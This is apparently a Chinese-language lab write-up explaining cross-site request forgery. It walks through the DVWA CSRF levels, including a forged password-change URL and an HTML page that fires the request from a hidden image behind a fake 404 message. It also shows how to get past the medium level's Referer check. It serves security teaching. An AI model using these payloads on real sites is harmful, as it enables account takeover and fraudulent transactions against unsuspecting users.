所谓CSRF就是(Cross-site request forgery),中文名称:跨站请求伪造

攻击过程

用户A在浏览器登陆了网站B,这时候服务器会发送cookie给浏览器,而这时如果用户访问了危险网站C,这时C会发送一个访问网页B的请求,而这些请求中往往会进行一些危险操作,如修改用户密码,甚至更加严重。

举例

假设一个转帐网站存子CSRF漏洞,这时张三要进行转账,这时正常转账的请求假设为http://bank.example/withdraw?account=张三&amount=1&for=李四这时正常的将张三的1元转给了李四,但是这时如果张三没有将转账网站的账号登出,并且访问了黑客制作的危险网站,这时危险网站发送了一个请求为http://bank.example/withdraw?account=张三&amount=1000000&for=黑客这时钱就转到了黑客手里,这主要的原因是转账网页服务器没有进行严格的过滤,导致危险网站发起了一个危险请求且成功访问,并且张三没有登出导致了浏览器存储着账号的cookie,这时危险网站发起的请求就携带了cookie被转账网站误以为是用户。

DVMA-CSRF

LOW

这个LOW难度我们查看源码可以发现只有两次秘密相同就可以成功修改密码没有进行任何过滤并且其密码是使用GET传值,我们尝试修改一下密码,得到url为http://192.168.32.1/DVWA-master/vulnerabilities/csrf/?password_new=2&password_conf=2&Change=Change#这时候我们将其进行修改http://192.168.32.1/DVWA-master/vulnerabilities/csrf/?password_new=3333&password_conf=3333&Change=Change#之后再其他网页访问发现,成功将密码修改为了3333但是这种方法属实是有点傻,这时候我们有以下两种方法进行修改

1。短链

我们可以使用短链生成工具的在线网站将该链接进行转换。

2:

我们可以使用如下html文件将html文件放在web里,这时候网页会自动发送请求。该方法更加隐蔽也常用代码如下

1
2
3
4
5
6
7
8
9
10
11
12
<!DOCTYPE html>
<html>
<title>CSRF</title>
</head>
<img src="http://192.168.32.1/DVWA-master/vulnerabilities/csrf/?password_new=3333&password_conf=3333&Change=Change#"border="0" style="display:none;">
<h1>
404<h1>
<h2>
file not found.<h2>
<body>
</body>
</html>

这时候我们访问该网站会显示404这回使用户误认为访问错误了,但是其实密码已经被修改了。

medium

我们查看代码发现比LOW多了个

1
if( stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ]) !== false )

这个代码的作用使匹配我们发送的referer头查看是否为服务器名称,如果referer里含有服务器名称则修改密码。
这时候我们可以直接将html文件改为主机名称。这样子再发送时referer头就回包含主机名称

high

high难度的因为其需要运用到xss的内容再学习网xss后再补充。